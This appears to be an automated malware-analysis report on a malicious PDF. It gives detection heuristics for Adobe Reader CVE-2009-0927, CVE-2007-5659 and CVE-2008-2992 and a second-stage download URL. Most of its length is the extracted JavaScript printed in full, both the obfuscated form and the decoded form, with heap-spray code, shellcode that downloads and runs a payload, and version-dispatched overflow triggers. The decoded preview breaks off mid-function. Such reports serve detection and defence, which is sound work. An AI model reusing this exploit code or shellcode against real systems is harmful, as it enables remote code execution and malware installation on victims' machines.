PDF malware analysis — malicious · c69a64bd6a9e67f0

MALICIOUS

PDF

17.1 KB Created: 2008-31-20 53:85:00 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2012-07-12

MD5: 5abfc9bdd28c8b89d94c2e401d4b15e6 SHA-1: 8ea1c19d49951800709c76017b241bd9a5664ab0 SHA-256: c69a64bd6a9e67f09da5ef80f85f1bab40d6d9a5236ea5967d0e77b9276fe922

550 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The sample is a PDF containing obfuscated JavaScript that exploits multiple CVEs (CVE_2009_0927, CVE_2007_5659, CVE_2008_2992) in Adobe Reader. The JavaScript is designed to download a second-stage payload from the URL http://counterweb.cn/fr/load.php?e=2. The embedded script attempts to exploit memory corruption vulnerabilities to achieve code execution.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 11

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Dropper.Agent-1828958 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Dropper.Agent-1828958
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

stream
var n = ""; eval(eval('Stri'+n+'ng.fr'+n+'omCharC'+n+'ode(102,117,110,99,116,105,111,110,32,101,83,119,66,81,84,99,105,40,41,123,102,117,110,99,116,105,111,110,32,102,105,120,95,105,116,40,121,97,114,115,112,44,108,101,110,41,123,119,104,105,108,101,40,121,97,114,115,112,46,108,101,110,103,116,104,42,50,60,108,101,110,41,123,121,97,114,115,112,43,61,121,97,114,115,112,59,125,10,121,97,114,115,112,61,121,97,114,115,112,46,115,117,98,115,116,114,105,110,103,40,48,44,108,101,110,47,50,41,59,114,101 …
endstream

PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://counterweb.cn/fr/load.php?e=2 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0013_001.js`	pdf-javascript-stream	PDF /JS object 13 at offset 0x38C	15929 bytes
SHA-256: `8a0f4eefbab66c95a80f90fa4ceb43d7f4f22cf991ff51d84c01ad6c2f8405c0`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var n = ""; eval(eval('Stri'+n+'ng.fr'+n+'omCharC'+n+'ode(102,117,110,99,116,105,111,110,32,101,83,119,66,81,84,99,105,40,41,123,102,117,110,99,116,105,111,110,32,102,105,120,95,105,116,40,121,97,114,115,112,44,108,101,110,41,123,119,104,105,108,101,40,121,97,114,115,112,46,108,101,110,103,116,104,42,50,60,108,101,110,41,123,121,97,114,115,112,43,61,121,97,114,115,112,59,125,10,121,97,114,115,112,61,121,97,114,115,112,46,115,117,98,115,116,114,105,110,103,40,48,44,108,101,110,47,50,41,59,114,101,116,117,114,110,32,121,97,114,115,112,59,125,10,102,117,110,99,116,105,111,110,32,117,116,105,108,95,112,114,105,110,116,102,40,41,123,118,97,114,32,112,97,121,108,111,97,100,61,117,110,101,115,99,97,112,101,40,34,37,117,67,48,51,51,37,117,56,66,54,52,37,117,51,48,52,48,37,117,48,67,55,56,37,117,52,48,56,66,37,117,56,66,48,67,37,117,49,67,55,48,37,117,56,66,65,68,37,117,48,56,53,56,37,117,48,57,69,66,37,117,52,48,56,66,37,117,56,68,51,52,37,117,55,67,52,48,37,117,53,56,56,66,37,117,54,65,51,67,37,117,53,65,52,52,37,117,69,50,68,49,37,117,69,50,50,66,37,117,69,67,56,66,37,117,52,70,69,66,37,117,53,50,53,65,37,117,69,65,56,51,37,117,56,57,53,54,37,117,48,52,53,53,37,117,53,55,53,54,37,117,55,51,56,66,37,117,56,66,51,67,37,117,51,51,55,52,37,117,48,51,55,56,37,117,53,54,70,51,37,117,55,54,56,66,37,117,48,51,50,48,37,117,51,51,70,51,37,117,52,57,67,57,37,117,52,49,53,48,37,117,51,51,65,68,37,117,51,54,70,70,37,117,66,69,48,70,37,117,48,51,49,52,37,117,70,50,51,56,37,117,48,56,55,52,37,117,67,70,67,49,37,117,48,51,48,68,37,117,52,48,70,65,37,117,69,70,69,66,37,117,51,66,53,56,37,117,55,53,70,56,37,117,53,69,69,53,37,117,52,54,56,66,37,117,48,51,50,52,37,117,54,54,67,51,37,117,48,67,56,66,37,117,56,66,52,56,37,117,49,67,53,54,37,117,68,51,48,51,37,117,48,52,56,66,37,117,48,51,56,65,37,117,53,70,67,51,37,117,53,48,53,69,37,117,56,68,67,51,37,117,48,56,55,68,37,117,53,50,53,55,37,117,51,51,66,56,37,117,56,65,67,65,37,117,69,56,53,66,37,117,70,70,65,50,37,117,70,70,70,70,37,117,67,48,51,50,37,117,70,55,56,66,37,117,65,69,70,50,37,117,66,56,52,70,37,117,50,69,54,53,37,117,55,56,54,53,37,117,54,54,65,66,37,117,54,54,57,56,37,117,66,48,65,66,37,117,56,65,54,67,37,117,57,56,69,48,37,117,54,56,53,48,37,117,54,69,54,70,37,117,54,52,50,69,37,117,55,53,54,56,37,117,54,67,55,50,37,117,53,52,54,68,37,117,56,69,66,56,37,117,48,69,52,69,37,117,70,70,69,67,37,117,48,52,53,53,37,117,53,48,57,51,37,117,67,48,51,51,37,117,53,48,53,48,37,117,56,66,53,54,37,117,48,52,53,53,37,117,67,50,56,51,37,117,56,51,55,70,37,117,51,49,67,50,37,117,53,48,53,50,37,117,51,54,66,56,37,117,50,70,49,65,37,117,70,70,55,48,37,117,48,52,53,53,37,117,51,51,53,66,37,117,53,55,70,70,37,117,66,56,53,54,37,117,70,69,57,56,37,117,48,69,56,65,37,117,53,53,70,70,37,117,53,55,48,52,37,117,69,70,66,56,37,117,69,48,67,69,37,117,70,70,54,48,37,117,48,52,53,53,37,117,55,52,54,56,37,117,55,48,55,52,37,117,50,70,51,65,37,117,54,51,50,70,37,117,55,53,54,70,37,117,55,52,54,69,37,117,55,50,54,53,37,117,54,53,55,55,37,117,50,69,54,50,37,117,54,69,54,51,37,117,54,54,50,70,37,117,50,70,55,50,37,117,54,70,54,67,37,117,54,52,54,49,37,117,55,48,50,69,37,117,55,48,54,56,37,117,54,53,51,70,37,117,51,50,51,68,34,41,59,118,97,114,32,110,111,112,61,117,110,101,115,99,97,112,101,40,34,37,117,48,65,48,65,37,117,48,65,48,65,37,117,48,65,48,65,37,117,48,65,48,65,34,41,10,118,97,114,32,104,101,97,112,98,108,111,99,107,61,110,111,112,43,112,97,121,108,111,97,100,59,118,97,114,32,98,105,103,98,108,111,99,107,61,117,110,101,115,99,97,112,101,40,34,37,117,48,65,48,65,37,117,48,65,48,65,34,41,59,118,97,114,32,104,101,97,100,101,114,115,105,122,101,61,50,48,59,118,97,114,32,115,112,114,97,121,61,104,101,97,100,101,114,115,105,122,101,43,104,101,97,112,98,108,111,99,107,46,108,101,110,103,116,104,59,119,104,105,108,101,40,98,105,103,98,108,111,99,107,46,108,101,110,103,116,104,60,115,112,114,97,121,41,123,98,105,103,98,108,111,99,107,43,61,98,105,103,98,108,111,99,107,59,125,10,118,97,114,32,102,105,108,108,98,108,111,99,107,61,98,105,103,98,108,111,99,107,46,115,117,98,115,116,114,105,110,103,40,48,44,115,112,114,97,121,41,59,118,97,114,32,98,108,111,99,107,61,98,105,103,98,108,111,99,107,46,115,117,98,115,116,114,105,110,103,40,48,44,98,105,103,98,108,111,99,107,46,108,101,110,103,116,104,45,115,112,114,97,121,41,59,119,104,105,108,101,40,98,108,111,99,107,46,108,101,110,103,116,104,43,115,112,114,97,121,60,48,120,52,48,48,48,48,41,123,98,108,111,99,107,61,98,108,111,99,107,43,98,108,111,99,107,43,102,105,108,108,98,108,111,99,107,59,125,10,118,97,114,32,109,101,109,95,97,114,114,97,121,61,110,101,119,32,65,114,114,97,121,40,41,59,102,111,114,40,118,97,114,32,105,61,48,59,105,60,49,52,48,48,59,105,43,43,41,123,109,101,109,95,97,114,114,97,121,91,105,93,61,98,108,111,99,107,43,104,101,97,112,98,108,111,99,107,59,125,10,118,97,114,32,110,117,109,61,49,50,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,59,117,116,105,108,46,112,114,105,110,116,102,40,34,37,52,53,48,48,48,102,34,44,110,117,109,41,59,125,10,102,117,110,99,116,105,111,110,32,99,111,108,108,97,98,95,101,109,97,105,108,40,41,123,118,97,114,32,115,104,101,108,108,99,111,100,101,61,117,110,101,115,99,97,112,101,40,34,37,117,67,48,51,51,37,117,56,66,54,52,37,117,51,48,52,48,37,117,48,67,55,56,37,117,52,48,56,66,37,117,56,66,48,67,37,117,49,67,55,48,37,117,56,66,65,68,37,117,48,56,53,56,37,117,48,57,69,66,37,117,52,48,56,66,37,117,56,68,51,52,37,117,55,67,52,48,37,117,53,56,56,66,37,117,54,65,51,67,37,117,53,65,52,52,37,117,69,50,68,49,37,117,69,50,50,66,37,117,69,67,56,66,37,117,52,70,69,66,37,117,53,50,53,65,37,117,69,65,56,51,37,117,56,57,53,54,37,117,48,52,53,53,37,117,53,55,53,54,37,117,55,51,56,66,37,117,56,66,51,67,37,117,51,51,55,52,37,117,48,51,55,56,37,117,53,54,70,51,37,117,55,54,56,66,37,117,48,51,50,48,37,117,51,51,70,51,37,117,52,57,67,57,37,117,52,49,53,48,37,117,51,51,65,68,37,117,51,54,70,70,37,117,66,69,48,70,37,117,48,51,49,52,37,117,70,50,51,56,37,117,48,56,55,52,37,117,67,70,67,49,37,117,48,51,48,68,37,117,52,48,70,65,37,117,69,70,69,66,37,117,51,66,53,56,37,117,55,53,70,56,37,117,53,69,69,53,37,117,52,54,56,66,37,117,48,51,50,52,37,117,54,54,67,51,37,117,48,67,56,66,37,117,56,66,52,56,37,117,49,67,53,54,37,117,68,51,48,51,37,117,48,52,56,66,37,117,48,51,56,65,37,117,53,70,67,51,37,117,53,48,53,69,37,117,56,68,67,51,37,117,48,56,55,68,37,117,53,50,53,55,37,117,51,51,66,56,37,117,56,65,67,65,37,117,69,56,53,66,37,117,70,70,65,50,37,117,70,70,70,70,37,117,67,48,51,50,37,117,70,55,56,66,37,117,65,69,70,50,37,117,66,56,52,70,37,117,50,69,54,53,37,117,55,56,54,53,37,117,54,54,65,66,37,117,54,54,57,56,37,117,66,48,65,66,37,117,56,65,54,67,37,117,57,56,69,48,37,117,54,56,53,48,37,117,54,69,54,70,37,117,54,52,50,69,37,117,55,53,54,56,37,117,54,67,55,50,37,117,53,52,54,68,37,117,56,69,66,56,37,117,48,69,52,69,37,117,70,70,69,67,37,117,48,52,53,53,37,117,53,48,57,51,37,117,67,48,51,51,37,117,53,48,53,48,37,117,56,66,53,54,37,117,48,52,53,53,37,117,67,50,56,51,37,117,56,51,55,70,37,117,51,49,67,50,37,117,53,48,53,50,37,117,51,54,66,56,37,117,50,70,49,65,37,117,70,70,55,48,37,117,48,52,53,53,37,117,51,51,53,66,37,117,53,55,70,70,37,117,66,56,53,54,37,117,70,69,57,56,37,117,48,69,56,65,37,117,53,53,70,70,37,117,53,55,48,52,37,117,69,70,66,56,37,117,69,48,67,69,37,117,70,70,54,48,37,117,48,52,53,53,37,117,55,52,54,56,37,117,55,48,55,52,37,117,50,70,51,65,37,117,54,51,50,70,37,117,55,53,54,70,37,117,55,52,54,69,37,117,55,50,54,53,37,117,54,53,55,55,37,117,50,69,54,50,37,117,54,69,54,51,37,117,54,54,50,70,37,117,50,70,55,50,37,117,54,70,54,67,37,117,54,52,54,49,37,117,55,48,50,69,37,117,55,48,54,56,37,117,54,53,51,70,37,117,51,50,51,68,34,41,59,118,97,114,32,109,101,109,95,97,114,114,97,121,61,110,101,119,32,65,114,114,97,121,40,41,59,118,97,114,32,99,99,61,48,120,48,99,48,99,48,99,48,99,59,118,97,114,32,97,100,100,114,61,48,120,52,48,48,48,48,48,59,118,97,114,32,115,99,95,108,101,110,61,115,104,101,108,108,99,111,100,101,46,108,101,110,103,116,104,42,50,59,118,97,114,32,108,101,110,61,97,100,100,114,45,40,115,99,95,108,101,110,43,48,120,51,56,41,59,118,97,114,32,121,97,114,115,112,61,117,110,101,115,99,97,112,101,40,34,37,117,57,48,57,48,37,117,57,48,57,48,34,41,59,121,97,114,115,112,61,102,105,120,95,105,116,40,121,97,114,115,112,44,108,101,110,41,59,118,97,114,32,99,111,117,110,116,50,61,40,99,99,45,48,120,52,48,48,48,48,48,41,47,97,100,100,114,59,102,111,114,40,118,97,114,32,99,111,117,110,116,61,48,59,99,111,117,110,116,60,99,111,117,110,116,50,59,99,111,117,110,116,43,43,41,123,109,101,109,95,97,114,114,97,121,91,99,111,117,110,116,93,61,121,97,114,115,112,43,115,104,101,108,108,99,111,100,101,59,125,10,118,97,114,32,111,118,101,114,102,108,111,119,61,117,110,101,115,99,97,112,101,40,34,37,117,48,99,48,99,37,117,48,99,48,99,34,41,59,119,104,105,108,101,40,111,118,101,114,102,108,111,119,46,108,101,110,103,116,104,60,52,52,57,53,50,41,123,111,118,101,114,102,108,111,119,43,61,111,118,101,114,102,108,111,119,59,125,10,116,104,105,115,46,99,111,108,108,97,98,83,116,111,114,101,61,67,111,108,108,97,98,46,99,111,108,108,101,99,116,69,109,97,105,108,73,110,102,111,40,123,115,117,98,106,58,34,34,44,109,115,103,58,111,118,101,114,102,108,111,119,125,41,59,125,10,102,117,110,99,116,105,111,110,32,99,111,108,108,97,98,95,103,101,116,105,99,111,110,40,41,123,105,102,40,97,112,112,46,100,111,99,46,67,111,108,108,97,98,46,103,101,116,73,99,111,110,41,123,118,97,114,32,97,114,114,121,61,110,101,119,32,65,114,114,97,121,40,41,59,118,97,114,32,118,118,112,101,116,104,121,97,61,117,110,101,115,99,97,112,101,40,34,37,117,67,48,51,51,37,117,56,66,54,52,37,117,51,48,52,48,37,117,48,67,55,56,37,117,52,48,56,66,37,117,56,66,48,67,37,117,49,67,55,48,37,117,56,66,65,68,37,117,48,56,53,56,37,117,48,57,69,66,37,117,52,48,56,66,37,117,56,68,51,52,37,117,55,67,52,48,37,117,53,56,56,66,37,117,54,65,51,67,37,117,53,65,52,52,37,117,69,50,68,49,37,117,69,50,50,66,37,117,69,67,56,66,37,117,52,70,69,66,37,117,53,50,53,65,37,117,69,65,56,51,37,117,56,57,53,54,37,117,48,52,53,53,37,117,53,55,53,54,37,117,55,51,56,66,37,117,56,66,51,67,37,117,51,51,55,52,37,117,48,51,55,56,37,117,53,54,70,51,37,117,55,54,56,66,37,117,48,51,50,48,37,117,51,51,70,51,37,117,52,57,67,57,37,117,52,49,53,48,37,117,51,51,65,68,37,117,51,54,70,70,37,117,66,69,48,70,37,117,48,51,49,52,37,117,70,50,51,56,37,117,48,56,55,52,37,117,67,70,67,49,37,117,48,51,48,68,37,117,52,48,70,65,37,117,69,70,69,66,37,117,51,66,53,56,37,117,55,53,70,56,37,117,53,69,69,53,37,117,52,54,56,66,37,117,48,51,50,52,37,117,54,54,67,51,37,117,48,67,56,66,37,117,56,66,52,56,37,117,49,67,53,54,37,117,68,51,48,51,37,117,48,52,56,66,37,117,48,51,56,65,37,117,53,70,67,51,37,117,53,48,53,69,37,117,56,68,67,51,37,117,48,56,55,68,37,117,53,50,53,55,37,117,51,51,66,56,37,117,56,65,67,65,37,117,69,56,53,66,37,117,70,70,65,50,37,117,70,70,70,70,37,117,67,48,51,50,37,117,70,55,56,66,37,117,65,69,70,50,37,117,66,56,52,70,37,117,50,69,54,53,37,117,55,56,54,53,37,117,54,54,65,66,37,117,54,54,57,56,37,117,66,48,65,66,37,117,56,65,54,67,37,117,57,56,69,48,37,117,54,56,53,48,37,117,54,69,54,70,37,117,54,52,50,69,37,117,55,53,54,56,37,117,54,67,55,50,37,117,53,52,54,68,37,117,56,69,66,56,37,117,48,69,52,69,37,117,70,70,69,67,37,117,48,52,53,53,37,117,53,48,57,51,37,117,67,48,51,51,37,117,53,48,53,48,37,117,56,66,53,54,37,117,48,52,53,53,37,117,67,50,56,51,37,117,56,51,55,70,37,117,51,49,67,50,37,117,53,48,53,50,37,117,51,54,66,56,37,117,50,70,49,65,37,117,70,70,55,48,37,117,48,52,53,53,37,117,51,51,53,66,37,117,53,55,70,70,37,117,66,56,53,54,37,117,70,69,57,56,37,117,48,69,56,65,37,117,53,53,70,70,37,117,53,55,48,52,37,117,69,70,66,56,37,117,69,48,67,69,37,117,70,70,54,48,37,117,48,52,53,53,37,117,55,52,54,56,37,117,55,48,55,52,37,117,50,70,51,65,37,117,54,51,50,70,37,117,55,53,54,70,37,117,55,52,54,69,37,117,55,50,54,53,37,117,54,53,55,55,37,117,50,69,54,50,37,117,54,69,54,51,37,117,54,54,50,70,37,117,50,70,55,50,37,117,54,70,54,67,37,117,54,52,54,49,37,117,55,48,50,69,37,117,55,48,54,56,37,117,54,53,51,70,37,117,51,50,51,68,34,41,59,118,97,114,32,104,87,113,53,48,48,67,78,61,118,118,112,101,116,104,121,97,46,108,101,110,103,116,104,42,50,59,118,97,114,32,108,101,110,61,48,120,52,48,48,48,48,48,45,40,104,87,113,53,48,48,67,78,43,48,120,51,56,41,59,118,97,114,32,121,97,114,115,112,61,117,110,101,115,99,97,112,101,40,34,37,117,57,48,57,48,37,117,57,48,57,48,34,41,59,121,97,114,115,112,61,102,105,120,95,105,116,40,121,97,114,115,112,44,108,101,110,41,59,118,97,114,32,112,53,65,106,75,54,53,102,61,40,48,120,48,99,48,99,48,99,48,99,45,48,120,52,48,48,48,48,48,41,47,48,120,52,48,48,48,48,48,59,102,111,114,40,118,97,114,32,118,113,99,81,68,57,54,121,61,48,59,118,113,99,81,68,57,54,121,60,112,53,65,106,75,54,53,102,59,118,113,99,81,68,57,54,121,43,43,41,123,97,114,114,121,91,118,113,99,81,68,57,54,121,93,61,121,97,114,115,112,43,118,118,112,101,116,104,121,97,59,125,10,118,97,114,32,116,85,77,104,78,98,71,119,61,117,110,101,115,99,97,112,101,40,34,37,48,57,34,41,59,119,104,105,108,101,40,116,85,77,104,78,98,71,119,46,108,101,110,103,116,104,60,48,120,52,48,48,48,41,123,116,85,77,104,78,98,71,119,43,61,116,85,77,104,78,98,71,119,59,125,10,116,85,77,104,78,98,71,119,61,34,78,46,34,43,116,85,77,104,78,98,71,119,59,97,112,112,46,100,111,99,46,67,111,108,108,97,98,46,103,101,116,73,99,111,110,40,116,85,77,104,78,98,71,119,41,59,125,125,10,102,117,110,99,116,105,111,110,32,112,100,102,95,115,116,97,114,116,40,41,123,118,97,114,32,118,101,114,115,105,111,110,61,97,112,112,46,118,105,101,119,101,114,86,101,114,115,105,111,110,46,116,111,83,116,114,105,110,103,40,41,59,118,101,114,115,105,111,110,61,118,101,114,115,105,111,110,46,114,101,112,108,97,99,101,40,47,92,68,47,103,44,39,39,41,59,118,97,114,32,118,97,114,115,105,111,110,95,97,114,114,97,121,61,110,101,119,32,65,114,114,97,121,40,118,101,114,115,105,111,110,46,99,104,97,114,65,116,40,48,41,44,118,101,114,115,105,111,110,46,99,104,97,114,65,116,40,49,41,44,118,101,114,115,105,111,110,46,99,104,97,114,65,116,40,50,41,41,59,105,102,40,40,118,97,114,115,105,111,110,95,97,114,114,97,121,91,48,93,61,61,56,41,38,38,40,118,97,114,115,105,111,110,95,97,114,114,97,121,91,49,93,61,61,48,41,124,124,40,118,97,114,115,105,111,110,95,97,114,114,97,121,91,49,93,61,61,49,38,38,118,97,114,115,105,111,110,95,97,114,114,97,121,91,50,93,60,51,41,41,123,117,116,105,108,95,112,114,105,110,116,102,40,41,59,125,10,105,102,40,40,118,97,114,115,105,111,110,95,97,114,114,97,121,91,48,93,60,56,41,124,124,40,118,97,114,115,105,111,110,95,97,114,114,97,121,91,48,93,61,61,56,38,38,118,97,114,115,105,111,110,95,97,114,114,97,121,91,49,93,60,50,38,38,118,97,114,115,105,111,110,95,97,114,114,97,121,91,50,93,60,50,41,41,123,99,111,108,108,97,98,95,101,109,97,105,108,40,41,59,125,10,105,102,40,40,118,97,114,115,105,111,110,95,97,114,114,97,121,91,48,93,60,57,41,124,124,40,118,97,114,115,105,111,110,95,97,114,114,97,121,91,48,93,61,61,57,38,38,118,97,114,115,105,111,110,95,97,114,114,97,121,91,49,93,60,49,41,41,123,99,111,108,108,97,98,95,103,101,116,105,99,111,110,40,41,59,125,125,10,112,100,102,95,115,116,97,114,116,40,41,59,125)'));
`numeric_charcode_stage_000.js`	deobfuscated-js	numeric char-code string decoded JavaScript at offset 0x3C2	4779 bytes
SHA-256: `e3517bccfc19961532aef0a6cf4c0f91c0a9362d5cafe3eeab19b321891691a9`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function eSwBQTci(){function fix_it(yarsp,len){while(yarsp.length2<len){yarsp+=yarsp;} yarsp=yarsp.substring(0,len/2);return yarsp;} function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u756F%u746E%u7265%u6577%u2E62%u6E63%u662F%u2F72%u6F6C%u6461%u702E%u7068%u653F%u323D");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u756F%u746E%u7265%u6577%u2E62%u6E63%u662F%u2F72%u6F6C%u6461%u702E%u7068%u653F%u323D");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u756F%u746E%u7265%u6577%u2E62%u6E63%u662F%u2F72%u6F6C%u6461%u702E%u7068%u653F%u323D");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 